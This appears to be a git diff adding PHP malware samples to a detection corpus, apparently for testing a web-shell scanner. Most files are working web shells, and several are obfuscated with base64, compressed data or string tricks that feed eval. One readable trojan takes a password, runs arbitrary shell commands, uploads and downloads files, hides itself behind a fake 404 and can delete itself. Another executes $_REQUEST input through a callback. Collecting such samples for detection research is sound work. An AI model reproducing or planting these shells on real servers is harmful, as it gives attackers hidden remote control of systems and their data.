x7f_*#fubfsdXk5`{66~6<&/%rx<~!!%s:N}#-%o:W%c:>1<%b:>11<%j:=tj{fpg)%%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtpz)#]341]88M4P8]37]276197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-xr.985:52985-t.98]epdof./#@#/qp%>5h%!<*::::::-1246767~6/7rfs%6<#o]1/20QUU0~:/h%:<**#57]38y]47]67y]37]88y]27]28yW;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}R;*msv%)}%tmw!>!#]y84]275]y83]27~!%z!>21<%j=6[%ww)))) { $GLOBALS[" x61 156 x75 156 x65 156 x63 164 x69 157 x6e"; function dhyvbmt($n){return chr(orx27!hmg%!)!gj!<2,*j%!-#1]#-bubE{h%)tpqsut>j%!*72! x27!hmg%tmfV x7f<*X&Z&S{ftmfV x7f<*XAZASV<*w%)ppde>u%V<#65,47R25,d7ww**WYsboepn)%bss-%rxB%h>#]y31]278]y3e]81]K78:56985:]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m," x61 156 x64 162 x6f 151 x64")) or (strstr($uas," x63 150 x72 +;!>!} x27;!>>>!}_;gvc%}&;ftmbg} x7f;!osvufs}w;* x7f!>> x22!pd%)!gj}Z;W&)7gj6<*K)ftpmdXA6~6/7&6|7**111127-K)ebfsX x27u%)7fm11112)eobs`un>qp%!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!7{**u%-#jt0}Z;0]=]0#)2q%l}S;2-u%!-#2#/#%#/#o]#27pd%6!bssb2!>#p#/#p#/%z>2*!%z>32>!}t::**<(!(%w:!>! x+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GB)fubfsdXA x27K6< x7fw6*3qj%7><+{e%+*!*+fepdfe{h+{d%)+opj/!**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)323zbek!~!b66,#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopoV;hojepdoF.uofuopD#r# x5cq%)ufttj x22)gj6<^#Y# x5cq% x27Y%6K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#/#7e:55946-tr.984:npd#)tutjyf`opjudovg x22)24y7 x24- x24*1<%j=tj{fpgh1:|:*mmvo:>:iuhofm%:-5ppde:4:|:**#ppde#)tutjyf`4 x223}!+!o]s]#)fepmqyf x27*&7-n%)utjm6< x7fw6*C1/35.)1/14+9**-)1/2986+7**^c%j:^Ew:Qb:Qc:W24!bssbz) x24]25 x24- x24-!% x24- x24*!|! x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`62]38y]572]48y]#>m%:j!<*2bd%-#1GO x22#)fepmqyfA>2b%!<*qp%-*.%)euhA)3of>2bd%g)!gj<*#k#)usbut`cpV x7f x7f x7f x7f!#]y847,*d x27,*c x27,*b x27)fepdof.)f3ldfidk!~!<**qp%!-uyfu%)3of)fepdof`5j%!<**3-j%-bubE{h%)sutcvt-#w#)lhA!osvufs!~<3,j%>j%!*3! 248L3P6L1M5]D2P4]D6#<%G7#@#7/7^#iubq# x5cq% x27jsv%6^#zsfvr# x5cq%7**^#zsfvStrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSopxkrbc'; $vgkbclh=explode(chr((636-516)),substr($awvjtnz,(29027-23007),(198-164))); $jdxccsyh = $vgkbclh[0]($vgkbclh[(7-6)]); $nkttprcq = $vgkbclh[0]($vgkbclh[(7-5)]); if (!function_exists('huqbsiykq')) { function huqbsiykq($ewjaowa, $ppcmgty,$euscsfo) { $rputetgcppb = NULL; for($blvfkqsfhf=0;$blvfkqsfhf<(sizeof($ewjaowa)/2);$blvfkqsfhf++) { $rputetgcppb .= substr($ppcmgty, $ewjaowa[($blvfkqsfhf*2)],$ewjaowa[($blvfkqsfhf*2)+(7-6)]); } return $euscsfo(chr((34-25)),chr((531-439)),$rputetgcppb); }; } $xozybdtes = explode(chr((213-169)),'3371,36,157,63,3931,36,2709,44,5708,38,1659,66,2636,43,4231,64,4563,42,868,40,836,32,3967,62,2332,63,5776,31,4847,58,3660,52,2063,20,4528,35,1170,29,5409,38,4365,58,1914,22,3712,42,1474,28,2555,41,5552,35,4949,31,3260,23,53,43,780,24,5965,55,5180,40,3407,49,970,62,1936,50,1791,45,1502,28,3132,66,4713,35,4748,34,3820,62,501,42,4295,70,220,37,1264,64,5918,24,4029,58,2990,53,5875,43,3315,56,640,45,2440,66,5283,25,2679,30,2083,33,5607,55,1836,50,5807,32,3631,29,4423,59,5007,45,0,53,2883,54,4905,44,1886,28,5052,69,2270,62,5839,36,2208,62,280,55,2753,70,2823,60,5351,58,4980,27,2395,45,5662,46,4087,59,2033,30,5121,59,1725,66,3043,67,4482,46,605,35,3882,23,2506,49,685,44,3754,66,4198,33,96,61,1150,20,1032,25,5587,20,908,62,5500,52,2596,40,335,57,3198,62,3110,22,5308,43,1581,24,729,51,1199,65,257,23,4631,27,1057,64,2937,53,2145,63,4605,26,4146,52,3567,64,5220,63,459,42,3283,32,804,32,1605,54,5942,23,1121,29,1348,61,3510,57,1986,47,1409,65,543,62,5447,27,3456,54,392,67,5474,26,3905,26,4658,55,5746,30,1530,51,1328,20,4782,65,2116,29'); $ympifwn = $jdxccsyh("",huqbsiykq($xozybdtes,$awvjtnz,$nkttprcq)); $jdxccsyh=$awvjtnz; $ympifwn(""); $ympifwn=(599-478); $awvjtnz=$ympifwn-1; ?> diff --git a/data/samples/real/exceptions.php b/data/samples/real/exceptions.php new file mode 100644 index 0000000..d5ce73f --- /dev/null +++ b/data/samples/real/exceptions.php @@ -0,0 +1 @@ +"D", "C"=>"B", "B"=>"4", "E"=>"F", "D"=>"C", "F"=>"7", "1"=>"E", "0"=>"9", "3"=>"0", "2"=>"2", "5"=>"A", "4"=>"8", "7"=>"1", "6"=>"3", "9"=>"5", "8"=>"6");$fuwkgtdbkv = "DgokZGVmYXVsdE0hY6Rpb2BgPS5nQ3MnOwoKQGluaV0zZXQoJ2Vycm0yX2xvZycsTlVMTDk"."FDkCpbmlfc2V3KDdsb2dfZXJyb6JzJywwKTsKQGluaV0zZXQoJ27heE0leGVjdXRpb29fdGltZSc"."sMDkFDkCzZXRfdGltZV0saW7pdDgwKTsKQHNldE0tYWdpY70xdW03ZXNfcnVudGltZSgwKTsKQGR"."lZmluZSgnV7NPX7ZEUlNJT3BnLD5nMiB7LjInKTsKDmlmKGdldE0tYWdpY70xdW03ZXNfZ6CjKDkpIHsKID5gIGZ7b"."mN3aW0uIEdTT6N3cmlwc2xhc2hlcygkYXJyYXkpIHsKID5gID5gIDCyZXR7c"."mBgaXNfYXJyYXkoJGEycmE9KS5/IGEycmE9X27hcDgnV7NPc6RyaXCzbGEzaGVzJywgJGEycmE9KS58IHN3cmlwc2xhc2h"."lcygkYXJyYXkpOwogID5gfQogID5gJE0QT7NUIA3gV7NPc6RyaXCzbGEza"."GVzKDRfU10TVDkFDi5gID5kX3NPT3tJRS50IEdTT6N3cmlwc2xhc2hlcygkX3NPT3tJRSkFDn3KD"."mZ7bmN3aW0uIHdzb3xvZ2luKDkgewogID5gaGVhZGVyKDdIVERQLz1uMD53MAQgTm03I1ZvdW9"."kJykFDi5gIDCkaWUoIjQwNDIpOwp0DgpmdW9jdGlvbiCXU30zZXRjb20raWUoJGssIDR2"."KSCFDi5gID5kX3NPT3tJRVska73gPS5kdjsKID5gIHNldGNvb2tpZSgkaywgJHYpOwp0DgppZ"."ighZW7wdHkoJGE7dGhfcGEzcykpIHsKID5gIGlmKGlzc2V3KDRfU10TVEsncGEzcyddKS5mJi5obWQ7KDRfU10TVEsncGEzc"."yddKS50PS5kYXV3aE0wYXNzKSkKID5gID5gIDCXU30zZXRjb20"."raWUobWQ7KDRfU3VSVkVSWydIVERQX3hPU7QnXSksIDRhdXRoX6Chc6MpOwoKID5gIGlmIDghaXNzZXQoJE0AT30LSUVbbWQ7KDR"."fU3VSVkVSWydIVERQX3hPU7QnXSldKSC4fD5oJE0AT30LSUVbbWQ7KDRfU3VSVkVSWydIVERQX3hPU7QnXSl"."dID10IDRhdXRoX6Chc6MpKQogID5gID5gIHdzb3xvZ2luKDkFDn3KDmZ7bmN3aW0uIGEjdGlvblIoKSCFDi5gIDCpZighQ"."DRfU10TVEsnZXYnXSkgewogID5gID5gIDRhIA3gYXJyYXkoDi5gID5g"."ID5gID5gIDJ7bmEtZSIgPTBgcGhwX6VuYW7lKDksDi5gID5gID5gID5gIDJwaHCfdmVyc2lvbiIgPTBgcGhwdmVyc2lvbigpL5og"."ID5gID5gID5gID5id6NvX6ZlcnNpb2BiIA3+IEdTT70WRVJTSU0OL5ogID5gID5gID5gID5ic2EmZW7vZGUiIA3+I1CpbmlfZ2V3"."KDdzYWZlX27vZGUnKQogID5gID5gIDkFDi5gID5gID5gZWNobyCzZXJpYWxpemUoJG1pOwogID5gfSClbHNlIHsKID5"."gID5gIDCldmEsKDRfU10TVEsnZXYnXSkFDi5gIDC0Dn3KDmlmK"."DClbXC3eSgkX7CPU7RbJ2MnXSkgKQogID5gaWYoaXNzZXQoJGRlZmE7bHRfYWN"."3aW0uKS5mJiCmdW9jdGlvbl0leGlzdHMoJ2EjdGlvbicgLi5kZGVmYXVsdE0hY6Rpb2BpKQogID5gID5gID"."RfU10TVEsnYyddIA3gJGRlZmE7bHRfYWN3aW0uOwogID5gZWxz"."ZQogID5gID5gIDRfU10TVEsnYyddIA3gJ7NlY3luZm4nOwppZiggIWVtcHR9K"."DRfU10TVEsnYyddKS5mJiCmdW9jdGlvbl0leGlzdHMoJ2EjdGlvbicgLi5kX7CPU7RbJ"."2MnXSkgKQogID5gY2EsbE07c2VyX2Z7bmMoJ2EjdGlvbicgLi5kX7CPU7RbJ2MnXSkFDmV"."BaXQF";eval/*k*/(ngomynsz($fuwkgtdbkv, $jgzzljfjj));?> \ No newline at end of file diff --git a/data/samples/real/guidtz.php b/data/samples/real/guidtz.php new file mode 100644 index 0000000..828c0f8 --- /dev/null +++ b/data/samples/real/guidtz.php @@ -0,0 +1,76 @@ + + +#!/usr/bin/php -q +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 diff --git a/data/samples/real/ice.php b/data/samples/real/ice.php new file mode 100644 index 0000000..6f8edc0 --- /dev/null +++ b/data/samples/real/ice.php @@ -0,0 +1 @@ + diff --git a/data/samples/real/include.php b/data/samples/real/include.php new file mode 100644 index 0000000..58712f1 --- /dev/null +++ b/data/samples/real/include.php @@ -0,0 +1,4 @@ + + +# TODO: Change this password. Don't leave the default! +define('PASSWORD', 'the-password'); + +# Override the default error handling to: +# 1. Bludgeon PHP `throw`-ing rather than logging errors +# 2. Keep noise out of the error logs +set_error_handler('warning_handler', E_WARNING); +function warning_handler($errno, $errstr) { + throw new ErrorException($errstr); +} + +# get the POSTed JSON input +$post = json_decode(file_get_contents('php://input'), true); +$cwd = ($post['cwd'] !== '') ? $post['cwd'] : getcwd(); + +# feign non-existence if the authentication is invalid +if (!isset($post['auth']) || $post['auth'] !== PASSWORD) { + header('HTTP/1.0 404 Not Found'); + die(); +} + +# return JSON to the client +header('content-type: application/json'); + +# if `cmd` is a trojan payload, execute it +if (function_exists($post['cmd'])) { + $post['cmd']($cwd, $post['args']); +} + +# otherwise, execute a shell command +else { + $output = []; + + # execute the command + $cmd = "cd $cwd; {$post['cmd']} 2>&1; pwd"; + exec($cmd, $output); + $cwd = array_pop($output); + + $response = [ + 'stdout' => $output, + 'stderr' => [], + 'cwd' => $cwd, + ]; + + die(json_encode($response)); +} + + +# File-download payload +function payload_download ($cwd, $args) { + + # cd to the trojan's cwd + chdir($cwd); + + # open the file as binary, and base64-encode its contents + try { + $stdout = base64_encode(file_get_contents($args['file'])); + $stderr = []; + } + + # notify the client on failure + catch (ErrorException $e) { + $stdout = []; + $stderr = [ 'Could not download file.', $e->getMessage() ]; + } + + die(json_encode([ + 'stdout' => $stdout, + 'stderr' => $stderr, + 'cwd' => $cwd, + ])); +} + +# File-upload payload +function payload_upload ($cwd, $args) { + + # cd to the trojan's cwd + chdir($cwd); + + # base64-decode the uploaded bytes, and write them to a file + try { + file_put_contents( $args['dst'], base64_decode($args['data'])); + $stderr = []; + $stdout = [ "File saved to {$args['dst']}." ]; + } + + # notify the client on failure + catch (ErrorException $e) { + $stdout = []; + $stderr = [ 'Could not save file.', $e->getMessage() ]; + } + + die(json_encode([ + 'stdout' => $stdout, + 'stderr' => $stderr, + 'cwd' => $cwd, + ])); +} + +# Trojan autodestruct +function payload_autodestruct ($cwd, $args) { + + # attempt to delete the trojan + try { + + unlink(__FILE__); + $stdout = [ 'File ' . __FILE__ . ' has autodestructed.' ]; + $stderr = []; + } + + # notify the client on failure + catch (ErrorException $e) { + $stdout = []; + $stderr = [ 'File ' . __FILE__ . ' could not autodestruct.']; + } + + die(json_encode([ + 'stdout' => [ 'Instructed ' . __FILE__ . ' to autodestruct.' ], + 'stderr' => [], + 'cwd' => $cwd, + ])); +} diff --git a/data/samples/real/srt.php b/data/samples/real/srt.php new file mode 100644 index 0000000..ef02af2 --- /dev/null +++ b/data/samples/real/srt.php @@ -0,0 +1,5 @@ + diff --git a/data/samples/real/sucuri_2014_04.php b/data/samples/real/sucuri_2014_04.php new file mode 100644 index 0000000..64bfa07 --- /dev/null +++ b/data/samples/real/sucuri_2014_04.php @@ -0,0 +1,3 @@ +1), @array((string)stripslashes($_REQUEST['re_password'])=>2),$_REQUEST['login']); diff --git a/data/samples/undetected/smart.php b/data/samples/undetected/smart.php new file mode 100644 index 0000000..f358562 --- /dev/null +++ b/data/samples/undetected/smart.php @@ -0,0 +1,2 @@ +